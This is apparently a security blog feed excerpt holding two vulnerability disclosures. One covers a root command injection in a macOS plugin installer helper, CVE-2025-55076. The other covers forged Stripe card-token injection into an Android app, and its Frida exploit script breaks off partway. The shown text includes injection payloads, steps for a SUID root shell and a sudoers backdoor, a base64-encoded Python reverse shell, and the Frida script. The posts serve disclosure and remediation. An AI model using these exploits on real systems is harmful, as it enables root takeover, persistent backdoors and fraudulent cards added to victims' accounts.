<p>The function begins by calling <code class="language-plaintext highlighter-rouge">checkAuthorization:command:</code> but fails open (returns success even with invalid or <code class="language-plaintext highlighter-rouge">NULL</code> auth tokens). The parameters we can controlled (<code class="language-plaintext highlighter-rouge">appPath</code> <code class="language-plaintext highlighter-rouge">arg5</code>, <code class="language-plaintext highlighter-rouge">userName</code> <code class="language-plaintext highlighter-rouge">arg6</code>) are retained, converted to <code class="language-plaintext highlighter-rouge">C‑style</code> strings via <code class="language-plaintext highlighter-rouge">UTF8String</code>, and then appended to <code class="language-plaintext highlighter-rouge">std::string</code> buffers. These buffers (<code class="language-plaintext highlighter-rouge">var_190</code>) are then passed directly into two separate calls to <code class="language-plaintext highlighter-rouge">system(r0)</code>. <code class="language-plaintext highlighter-rouge">system()</code> executes its input via <code class="language-plaintext highlighter-rouge">/bin/sh -c</code>, meaning shell metacharacters are interpreted. Because no sanitization or quoting is applied, any supplied <code class="language-plaintext highlighter-rouge">appPath</code> can inject shell metacharacters (<code class="language-plaintext highlighter-rouge">;</code><code class="language-plaintext highlighter-rouge">,&amp;&amp;,</code> <code class="language-plaintext highlighter-rouge">|</code>, <code class="language-plaintext highlighter-rouge">backticks</code>) into the input like:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s2">"/Applications/TestApp.app</span><span class="se">\"</span><span class="s2">; chmod 4755 /tmp/rootbash; echo </span><span class="se">\"</span><span class="s2">"</span>
</code></pre></div></div>

<p>Results in arbitrary commands (<code class="language-plaintext highlighter-rouge">chmod 4755 /tmp/rootbash</code>) executing as <strong>root</strong>.</p>

<h5 id="impact-of-dual-system-sinks">Impact of Dual <code class="language-plaintext highlighter-rouge">system()</code> Sinks</h5>

<p>The presence of two distinct <code class="language-plaintext highlighter-rouge">system()</code> calls means the attacker’s payload may be executed multiple times within a single invocation. This can be abused to perform a chained sequence of actions like:</p>
<ol>
  <li>Dropping a root shell (<code class="language-plaintext highlighter-rouge">/tmp/rootbash</code>).</li>
  <li>Modifying <code class="language-plaintext highlighter-rouge">/etc/sudoers.d</code> for persistent passwordless root access.</li>
</ol>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>To demonstrate the vulnerability, I developed an exploit that interacts directly with the vulnerable XPC service <code class="language-plaintext highlighter-rouge">com.plugin-alliance.pa-installationhelper</code>. The exploit exploit the <code class="language-plaintext highlighter-rouge">exchangeAppWithReply:</code> method to achieve arbitrary command execution as root.</p>

<h3 id="exploit-steps">Exploit Steps</h3>

<ol>
  <li><strong>Establish authorization</strong><br />
The exploit first constructs a dummy <code class="language-plaintext highlighter-rouge">AuthorizationExternalForm</code> blob using <code class="language-plaintext highlighter-rouge">AuthorizationCreate</code> and <code class="language-plaintext highlighter-rouge">AuthorizationMakeExternalForm</code>. Due to the broken implementation of <code class="language-plaintext highlighter-rouge">checkAuthorization:command:</code>, the service accepts this as valid even though no rights are actually granted.</li>
  <li><strong>Connect to the vulnerable service</strong><br />
The client establishes an <code class="language-plaintext highlighter-rouge">NSXPCConnection</code> to the Mach service <code class="language-plaintext highlighter-rouge">com.plugin-alliance.pa-installationhelper</code>. Because the listener accepts all connections unconditionally, the connection succeeds regardless of client identity.</li>
  <li><strong>Trigger command injection</strong><br />
The exploit calls <code class="language-plaintext highlighter-rouge">exchangeAppWithReply:</code> with a crafted <code class="language-plaintext highlighter-rouge">andAppPath</code> argument. Unsanitized attacker input is interpolated directly into a <code class="language-plaintext highlighter-rouge">system()</code> call, enabling arbitrary shell command execution as root.</li>
  <li><strong>Privilege escalation &amp; persistence</strong><br />
Next, 3 steps are being executed: Copying <code class="language-plaintext highlighter-rouge">/bin/bash</code> to <code class="language-plaintext highlighter-rouge">/tmp/rootbash</code>. Setting the SUID bit on <code class="language-plaintext highlighter-rouge">/tmp/rootbash</code> to enable execution as root and writing a sudoers backdoor entry in <code class="language-plaintext highlighter-rouge">/etc/sudoers.d/backdoor</code> to grant passwordless root access.</li>
  <li><strong>Verification</strong><br />
We can confirm with the presence of <code class="language-plaintext highlighter-rouge">/tmp/rootbash</code> (SUID root shell) and <code class="language-plaintext highlighter-rouge">/etc/sudoers.d/backdoor</code> (sudoers backdoor entry).</li>
</ol>

<h3 id="exploitation">Exploitation</h3>

<p>We compile the exploit:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> Security pluginallianceexploit.m <span class="nt">-o</span> pluginallianceexploit
</code></pre></div></div>

<p>Run ;)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./pluginallianceexploit
</code></pre></div></div>

<p>And we get a persistent root shell:</p>

<p align="center"> 
<img src="1.png" width="1000" />
</p>

<p>We can now check the presence of <code class="language-plaintext highlighter-rouge">/tmp/rootbash</code> and <code class="language-plaintext highlighter-rouge">/etc/sudoers.d/backdoor</code>:</p>

<p align="center"> 
<img src="2.png" width="1000" />
</p>

<h3 id="system-log-verification">System Log Verification</h3>

<p>Using log stream with an appropriate predicate, we can observe the vulnerable helper processing supplied input and spawning shell commands via <code class="language-plaintext highlighter-rouge">system()</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>log stream <span class="nt">--predicate</span> <span class="s1">'process == "InstallationHelper" OR process == "com.plugin-alliance.pa-installationhelper"'</span> <span class="nt">--level</span> debug
</code></pre></div></div>

<p align="center"> 
<img src="3.png" width="1000" />
</p>

<p>Beyond privilege escalation through creation of a <code class="language-plaintext highlighter-rouge">setuid</code> root shell, we can leveraged to obtain a fully interactive root shell over the network!</p>

<p>We can use a Python reverse shell payload that’s base64‑encoded and injected through the vulnerable <code class="language-plaintext highlighter-rouge">exchangeAppWithReply:</code> method:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3Mu
Y29ubmVjdCgoIlJFREFDVEVEIiwxMzM3KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMu
ZmlsZW5vKCksMik7c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw=='</span> <span class="se">\ </span>| <span class="nb">base64</span> <span class="nt">-d</span> | python3<span class="p">;</span> <span class="nb">echo</span> <span class="s2">"
</span></code></pre></div></div>

<p>We execute the exploit again and get a connection back on our VM:</p>

<p align="center"> 
<img src="4.png" width="1000" />
</p>

<h2 id="remediation">Remediation</h2>

<p>To mitigate this, implement strong client verification controls for all XPC connections. This should include validating the connecting client’s code signature and using the audit token for identity checks, as relying solely on the process <code class="language-plaintext highlighter-rouge">ID</code> (<code class="language-plaintext highlighter-rouge">PID</code>) is not secure. An example of a robust implementation can be found <a href="https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147">here</a> project.</p>

<p>In addition, ensure that the hardened runtime is enabled and restrict the use of sensitive entitlements. In particular, entitlements such as:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">com.apple.security.cs.disable-library-validation</code></li>
  <li><code class="language-plaintext highlighter-rouge">com.apple.security.cs.allow-dyld-environment-variables</code></li>
  <li><code class="language-plaintext highlighter-rouge">com.apple.private.security.clear-library-validation</code></li>
</ul>

<p>Should be avoided unless absolutely required, as they can significantly weaken binary integrity protections. To mitigate command injection vulnerabilities, all command arguments must be strictly validated and safely escaped before execution.</p>

<p>Happy hacking :)</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<table style="width:100%; border-collapse: collapse; border: 1px solid #4a4d56;">
  <thead>
    <tr style="background-color:#222;">
      <th style="text-align:left; padding:8px;">Date</th>
      <th style="text-align:left; padding:8px;">Action</th>
    </tr>
  </thead>
  <tbody>
    <tr><td style="padding:8px;">August 1, 2025</td><td style="padding:8px;">Vulnerability discovered during local security analysis of Plugin Alliance Installation Manager and its helper components.</td></tr>
    <tr><td style="padding:8px;">August 1, 2025</td><td style="padding:8px;">Initial technical validation and proof-of-concept developed confirming dylb injection</td></tr>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Full vulnerability report prepared, including reproduction steps and secure remediation guidance.</td></tr>
    <tr><td style="padding:8px;">August 2, 2025</td><td style="padding:8px;">Responsible disclosure email sent to Plugin Alliance with attached reports and researcher PGP key requesting a secure communication channel.</td></tr>
    <tr><td style="padding:8px;">August 18, 2025</td><td style="padding:8px;">No acknowledgment received from the vendor. Escalation attempt submitted to MITRE CVE Program for coordination assistance.</td></tr>
    <tr><td style="padding:8px;">November 19, 2025</td><td style="padding:8px;">No vendor or CNA response received. Proceeding with public disclosure in accordance with a 90-day disclosure policy.</td></tr>
	<tr><td style="padding:8px;">November 28, 2025</td><td style="padding:8px;">CNA response received. CVE ID reserved: CVE-2025-55076</td></tr>
	<tr><td style="padding:8px;">December 3, 2025</td><td style="padding:8px;">CVE ID Published: CVE-2025-55076</td></tr>
  </tbody>
</table>]]></content><author><name>Simon Bertrand</name></author><category term="macOS" /><category term="Privesc" /><category term="dylib" /><category term="injection" /><summary type="html"><![CDATA[CVE-2025-55076 - Plugin Alliance - InstallationHelper dylib Injection in Plugin Alliance on macOS]]></summary></entry><entry><title type="html">Android - Insecure Stripe Token Handling leads to Arbitrary Card Injection</title><link href="/Insecure-Stripe-Token/" rel="alternate" type="text/html" title="Android - Insecure Stripe Token Handling leads to Arbitrary Card Injection" /><published>2025-07-03T04:00:00-04:00</published><updated>2025-07-03T04:00:00-04:00</updated><id>/Insecure-Stripe-Token</id><content type="html" xml:base="/Insecure-Stripe-Token/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>During a mobile app engagement, I was going through the payment logic in a popular app using jadx-gui when something unusual caught my attention. A method named <strong>postCard(String tokenId)</strong> that appeared to accept any Stripe token and attach it to the authenticated user’s account.</p>

<p>The app was leaking its Stripe publishable key, and blindly trusted any card token passed to it regardless of where or how it was generated.</p>

<p>With this vulnerability, a malicious app on the same device, or even just a simple Frida script, could forge a Stripe token for any credit card and have it added to a legitimate user’s account without any interaction or consent.</p>

<p>This post goes into how the vulnerability works, how to exploit it end-to-end using Frida, and how developers can fix it using best practices aligned with OWASP MASVS and Stripe’s own security guidance.</p>

<p>Let’s go!</p>

<blockquote>
  <p><strong><em>“To demonstrate the exploitation technique without exposing any client-sensitive infrastructure, identifiable package name and token values have been redacted or replaced with placeholders.”</em></strong></p>
</blockquote>

<h2 id="vulnerability-overview">Vulnerability Overview</h2>

<p>At the core of this vulnerability is a fundamental misunderstanding of how Stripe tokens are meant to be validated and bound to user sessions.</p>

<p>In the target Android app, the class PaymentService exposes a method:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">final</span> <span class="kt">void</span> <span class="nf">postCard</span><span class="o">(</span><span class="nc">String</span> <span class="n">tokenId</span><span class="o">,</span> <span class="kd">final</span> <span class="nc">DataCallback</span><span class="o">&lt;</span><span class="nc">CreditCard</span><span class="o">&gt;</span> <span class="n">callback</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullParameter</span><span class="o">(</span><span class="n">tokenId</span><span class="o">,</span> <span class="s">"tokenId"</span><span class="o">);</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullParameter</span><span class="o">(</span><span class="n">callback</span><span class="o">,</span> <span class="s">"callback"</span><span class="o">);</span>
    <span class="k">this</span><span class="o">.</span><span class="na">api</span><span class="o">.</span><span class="na">addCreditCard</span><span class="o">(</span><span class="k">new</span> <span class="nc">CreditCardRequest</span><span class="o">(</span><span class="n">tokenId</span><span class="o">)).</span><span class="na">enqueue</span><span class="o">(</span><span class="k">new</span> <span class="nc">AGRetrofitCallback</span><span class="o">(</span><span class="k">new</span> <span class="nc">DataCallback</span><span class="o">&lt;</span><span class="nc">CreditCard</span><span class="o">&gt;()</span> <span class="o">{</span>
        <span class="nd">@Override</span>
        <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onSuccess</span><span class="o">(</span><span class="nc">CreditCard</span> <span class="n">data</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">MutableLiveData</span> <span class="n">mutableLiveData</span><span class="o">;</span>
            <span class="n">mutableLiveData</span> <span class="o">=</span> <span class="nc">PaymentService</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">addedCardResource</span><span class="o">;</span>
            <span class="n">mutableLiveData</span><span class="o">.</span><span class="na">postValue</span><span class="o">(</span><span class="nc">Resource</span><span class="o">.</span><span class="na">INSTANCE</span><span class="o">.</span><span class="na">success</span><span class="o">(</span><span class="n">data</span><span class="o">));</span>
            <span class="n">callback</span><span class="o">.</span><span class="na">onSuccess</span><span class="o">(</span><span class="n">data</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="nd">@Override</span>
        <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onError</span><span class="o">(</span><span class="nc">DataError</span> <span class="n">error</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">callback</span><span class="o">.</span><span class="na">onError</span><span class="o">(</span><span class="n">error</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}));</span>
<span class="o">}</span>
</code></pre></div></div>

<p>This method blindly takes a <strong>tokenId</strong> which is a string that typically represents a payment token generated by Stripe and forwards it directly to the backend without performing any validation.</p>

<p>There are no checks on:</p>
<ul>
  <li>Whether the token was generated by this specific app instance</li>
  <li>Whether it was tied to the currently authenticated user</li>
  <li>Whether it was created by the official in-app Stripe SDK flow</li>
</ul>

<p>In other words, if you can generate a valid Stripe token under the same account, you can inject any card into any user’s account.</p>

<h2 id="how-the-app-leaks-the-stripe-key">How the App Leaks the Stripe Key</h2>

<p>Now, to get the Stripe key, the app leaks its Stripe publishable key in two ways:</p>

<p><strong>Static Resource</strong>
The key is hardcoded in <code class="language-plaintext highlighter-rouge">res/values/strings.xml</code>, which can be extracted via jadx, apktool, or adb. The Publishable Stripe Key in <code class="language-plaintext highlighter-rouge">strings.xml</code> is not a vulnerability, it’s perfectly fine for the key to be publicly accessible.</p>

<p><strong>Runtime Access</strong>
The method <code class="language-plaintext highlighter-rouge">SessionService.getStripeKey()</code> return the key at runtime, making it accessible to Frida hooks or malicious apps via reflection or instrumentation.</p>

<p>Here’s the relevant decompiled code:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">final</span> <span class="nc">String</span> <span class="nf">getStripeKey</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Currency</span> <span class="n">currency</span><span class="o">;</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNullParameter</span><span class="o">(</span><span class="n">context</span><span class="o">,</span> <span class="s">"context"</span><span class="o">);</span>
    <span class="nc">Account</span> <span class="n">value</span> <span class="o">=</span> <span class="n">getAccount</span><span class="o">().</span><span class="na">getValue</span><span class="o">();</span>
    <span class="nc">String</span> <span class="n">code</span> <span class="o">=</span> <span class="o">(</span><span class="n">value</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="o">(</span><span class="n">currency</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="na">getCurrency</span><span class="o">())</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">?</span> <span class="kc">null</span> <span class="o">:</span> <span class="n">currency</span><span class="o">.</span><span class="na">getCode</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="nc">Intrinsics</span><span class="o">.</span><span class="na">areEqual</span><span class="o">(</span><span class="n">code</span><span class="o">,</span> <span class="s">"CAD"</span><span class="o">))</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">string</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getString</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">stripe_key_CAD</span><span class="o">);</span>
        <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNull</span><span class="o">(</span><span class="n">string</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">string</span><span class="o">;</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(</span><span class="nc">Intrinsics</span><span class="o">.</span><span class="na">areEqual</span><span class="o">(</span><span class="n">code</span><span class="o">,</span> <span class="s">"USD"</span><span class="o">))</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">string2</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getString</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">stripe_key_USD</span><span class="o">);</span>
        <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNull</span><span class="o">(</span><span class="n">string2</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">string2</span><span class="o">;</span>
    <span class="o">}</span>
    <span class="nc">String</span> <span class="n">string3</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getString</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">stripe_key</span><span class="o">);</span>
    <span class="nc">Intrinsics</span><span class="o">.</span><span class="na">checkNotNull</span><span class="o">(</span><span class="n">string3</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">string3</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>This means any malicious code running on the same device can easily retrieve the Stripe key and impersonate the app when talking to Stripe’s API.</p>

<h2 id="broken-token-trust-model">Broken Token Trust Model</h2>

<p>Once a valid Stripe token is obtained (which requires only the publishable key), the attacker can call:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">PaymentService</span><span class="o">.</span><span class="na">postCard</span><span class="o">(</span><span class="n">tokenId</span><span class="o">,</span> <span class="n">callback</span><span class="o">);</span>
</code></pre></div></div>

<p>This results in the backend accepting and binding that card to the victim’s account, even if the token was created:</p>
<ul>
  <li>On a different device</li>
  <li>Outside the app (via cURL, Frida, or a rogue app)</li>
  <li>By an attacker using fake card data (e.g., Stripe’s test numbers)</li>
</ul>

<p>There’s no HMAC, no session binding, no anti-replay mechanism, and no origin validation.</p>

<p>This logic flaw means that any app or process on the user’s device can inject arbitrary cards into the wallet of an authenticated user without their awareness. An attacker could:</p>

<ul>
  <li>Link a fake or stolen credit card to another user’s wallet</li>
  <li>Farm account rewards or loyalty points using fake purchases</li>
  <li>Potentially set up fraudulent recurring billing (if the app supports subscriptions)</li>
</ul>

<p>And worst of all—the user wouldn’t even be prompted.</p>

<h2 id="exploit">Exploit</h2>

<p>With the vulnerability scoped, the next step was to build a practical exploit to demonstrate the impact. Since we can grab its Stripe publishable key at runtime and didn’t validate incoming tokens, it was possible to inject arbitrary credit cards into a victim’s wallet using only Frida and a Stripe HTTP call without any user interaction.</p>

<p>Essentially, the exploit will follow these steps:</p>

<ol>
  <li>Spawn the app and wait for initialization. Frida hooks into the running process and waits for the app’s main services to initialize.</li>
  <li>Launch the AddCard UI. This triggers the app’s dependency injection, bootstrapping <code class="language-plaintext highlighter-rouge">PaymentService</code> and <code class="language-plaintext highlighter-rouge">SessionService</code>.</li>
  <li>Extract the Stripe Publishable Key. Hook <code class="language-plaintext highlighter-rouge">SessionService.getStripeKey(Context)</code> to capture the key dynamically, or fall back to extracting it from the app’s resources using <code class="language-plaintext highlighter-rouge">getResources().getIdentifier()</code>.</li>
  <li>Forge a Stripe Token. Use the publishable key to call <code class="language-plaintext highlighter-rouge">https://api.stripe.com/v1/tokens</code> with dummy test card data (e.g., 4242 4242 4242 4242) using an <code class="language-plaintext highlighter-rouge">OkHttpClient</code> instance injected via Java reflection.</li>
  <li>Inject the Token. Locate the <code class="language-plaintext highlighter-rouge">PaymentService</code> singleton in memory and invoke <code class="language-plaintext highlighter-rouge">postCard(tokenId, DataCallback)</code> directly using Frida’s <code class="language-plaintext highlighter-rouge">Java.choose()</code> and a custom <code class="language-plaintext highlighter-rouge">DataCallback</code>.</li>
</ol>

<p>Here’s a the actual Frida script used in the test:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span> <span class="o">()</span> <span class="o">{</span>

    <span class="kd">const</span> <span class="no">B64</span> <span class="o">=</span> <span class="n">s</span> <span class="o">=&gt;</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">android</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">Base64</span><span class="err">'</span><span class="o">)</span>
        <span class="o">.</span><span class="na">encodeToString</span><span class="o">(</span><span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">String</span><span class="err">'</span><span class="o">).</span><span class="n">$new</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">getBytes</span><span class="o">(),</span> <span class="mi">2</span><span class="o">);</span>

    <span class="kd">const</span> <span class="nc">OkHttpClient</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">okhttp3</span><span class="o">.</span><span class="na">OkHttpClient</span><span class="err">'</span><span class="o">).</span><span class="n">$new</span><span class="o">();</span>
    <span class="n">let</span> <span class="n">publishableKey</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>

    <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">com</span><span class="o">.</span><span class="na">REDACTED</span><span class="o">.</span><span class="na">SessionService</span><span class="err">'</span><span class="o">)</span>
        <span class="o">.</span><span class="na">getStripeKey</span><span class="o">.</span><span class="na">overload</span><span class="o">(</span><span class="err">'</span><span class="n">android</span><span class="o">.</span><span class="na">content</span><span class="o">.</span><span class="na">Context</span><span class="err">'</span><span class="o">)</span>
        <span class="o">.</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span> <span class="o">(</span><span class="n">ctx</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">publishableKey</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">getStripeKey</span><span class="o">(</span><span class="n">ctx</span><span class="o">);</span>
            <span class="n">console</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="err">'</span><span class="o">[</span><span class="nc">Stripe</span><span class="o">-</span><span class="no">PK</span><span class="o">]</span> <span class="err">'</span> <span class="o">+</span> <span class="n">publishableKey</span><span class="o">);</span>
            <span class="k">return</span> <span class="n">publishableKey</span><span class="o">;</span>
        <span class="o">};</span>

    <span class="n">function</span> <span class="nf">mainLoop</span><span class="o">()</span> <span class="o">{</span>
        <span class="kd">const</span> <span class="nc">App</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">android</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">ActivityThread</span><span class="err">'</span><span class="o">).</span><span class="na">currentApplication</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="nc">App</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">setTimeout</span><span class="o">(</span><span class="n">mainLoop</span><span class="o">,</span> <span class="mi">600</span><span class="o">);</span>
            <span class="k">return</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="kd">const</span> <span class="n">ctx</span> <span class="o">=</span> <span class="nc">App</span><span class="o">.</span><span class="na">getApplicationContext</span><span class="o">();</span>

        <span class="kd">const</span> <span class="nc">Intent</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">android</span><span class="o">.</span><span class="na">content</span><span class="o">.</span><span class="na">Intent</span><span class="err">'</span><span class="o">).</span><span class="n">$new</span><span class="o">();</span>
        <span class="nc">Intent</span><span class="o">.</span><span class="na">setClassName</span><span class="o">(</span><span class="n">ctx</span><span class="o">,</span>
            <span class="err">'</span><span class="n">com</span><span class="o">.</span><span class="na">REDACTED</span><span class="o">.</span><span class="na">AddCreditCardActivity</span><span class="err">'</span><span class="o">);</span>
        <span class="nc">Intent</span><span class="o">.</span><span class="na">setFlags</span><span class="o">(</span><span class="mh">0x10000000</span><span class="o">);</span>
        <span class="n">ctx</span><span class="o">.</span><span class="na">startActivity</span><span class="o">(</span><span class="nc">Intent</span><span class="o">);</span>

        <span class="n">waitForKey</span><span class="o">(</span><span class="n">ctx</span><span class="o">,</span> <span class="n">function</span> <span class="o">()</span> <span class="o">{</span>
            <span class="kd">const</span> <span class="n">token</span> <span class="o">=</span> <span class="n">makeToken</span><span class="o">(</span><span class="n">publishableKey</span><span class="o">);</span>
            <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="o">[+]</span> <span class="n">token</span> <span class="o">=</span> <span class="err">'</span> <span class="o">+</span> <span class="n">token</span><span class="o">);</span>
            <span class="n">injectCard</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
        <span class="o">});</span>
    <span class="o">}</span>

    <span class="n">function</span> <span class="nf">waitForKey</span><span class="o">(</span><span class="n">ctx</span><span class="o">,</span> <span class="n">cb</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">publishableKey</span><span class="o">)</span> <span class="o">{</span> <span class="n">cb</span><span class="o">();</span> <span class="k">return</span><span class="o">;</span> <span class="o">}</span>

        <span class="kd">const</span> <span class="n">resId</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">.</span><span class="na">getResources</span><span class="o">()</span>
                         <span class="o">.</span><span class="na">getIdentifier</span><span class="o">(</span><span class="err">'</span><span class="n">stripe_publishable_key</span><span class="err">'</span><span class="o">,</span>
                                        <span class="err">'</span><span class="n">string</span><span class="err">'</span><span class="o">,</span> <span class="n">ctx</span><span class="o">.</span><span class="na">getPackageName</span><span class="o">());</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">resId</span> <span class="o">!==</span> <span class="mi">0</span><span class="o">)</span> <span class="n">publishableKey</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">.</span><span class="na">getString</span><span class="o">(</span><span class="n">resId</span><span class="o">);</span>

        <span class="k">if</span> <span class="o">(</span><span class="n">publishableKey</span><span class="o">)</span> <span class="o">{</span> <span class="n">console</span><span class="o">.</span><span class="na">warn</span><span class="o">(</span><span class="err">'</span><span class="o">[</span><span class="nc">Stripe</span><span class="o">-</span><span class="no">PK</span><span class="o">/</span><span class="n">fallback</span><span class="o">]</span> <span class="err">'</span> <span class="o">+</span> <span class="n">publishableKey</span><span class="o">);</span> <span class="n">cb</span><span class="o">();</span> <span class="o">}</span>
        <span class="k">else</span> <span class="nf">setTimeout</span><span class="o">(()</span> <span class="o">=&gt;</span> <span class="n">waitForKey</span><span class="o">(</span><span class="n">ctx</span><span class="o">,</span> <span class="n">cb</span><span class="o">),</span> <span class="mi">800</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="n">function</span> <span class="nf">makeToken</span><span class="o">(</span><span class="n">pk</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">const</span> <span class="nc">Body</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">okhttp3</span><span class="o">.</span><span class="na">FormBody</span><span class="n">$Builder</span><span class="err">'</span><span class="o">).</span><span class="n">$new</span><span class="o">()</span>
            <span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="err">'</span><span class="n">card</span><span class="o">[</span><span class="n">number</span><span class="o">]</span><span class="sc">','</span><span class="mi">4242424242424242</span><span class="err">'</span><span class="o">)</span>
            <span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="err">'</span><span class="n">card</span><span class="o">[</span><span class="n">exp_month</span><span class="o">]</span><span class="sc">','</span><span class="mi">12</span><span class="err">'</span><span class="o">)</span>
            <span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="err">'</span><span class="n">card</span><span class="o">[</span><span class="n">exp_year</span><span class="o">]</span><span class="err">'</span><span class="o">,</span> <span class="err">'</span><span class="mi">2030</span><span class="err">'</span><span class="o">)</span>
            <span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="err">'</span><span class="n">card</span><span class="o">[</span><span class="n">cvc</span><span class="o">]</span><span class="err">'</span><span class="o">,</span>      <span class="err">'</span><span class="mi">123</span><span class="err">'</span><span class="o">)</span>
            <span class="o">.</span><span class="na">build</span><span class="o">();</span>

        <span class="kd">const</span> <span class="nc">Req</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">okhttp3</span><span class="o">.</span><span class="na">Request</span><span class="n">$Builder</span><span class="err">'</span><span class="o">).</span><span class="n">$new</span><span class="o">()</span>
            <span class="o">.</span><span class="na">url</span><span class="o">(</span><span class="err">'</span><span class="nl">https:</span><span class="c1">//api.stripe.com/v1/tokens')</span>
            <span class="o">.</span><span class="na">post</span><span class="o">(</span><span class="nc">Body</span><span class="o">)</span>
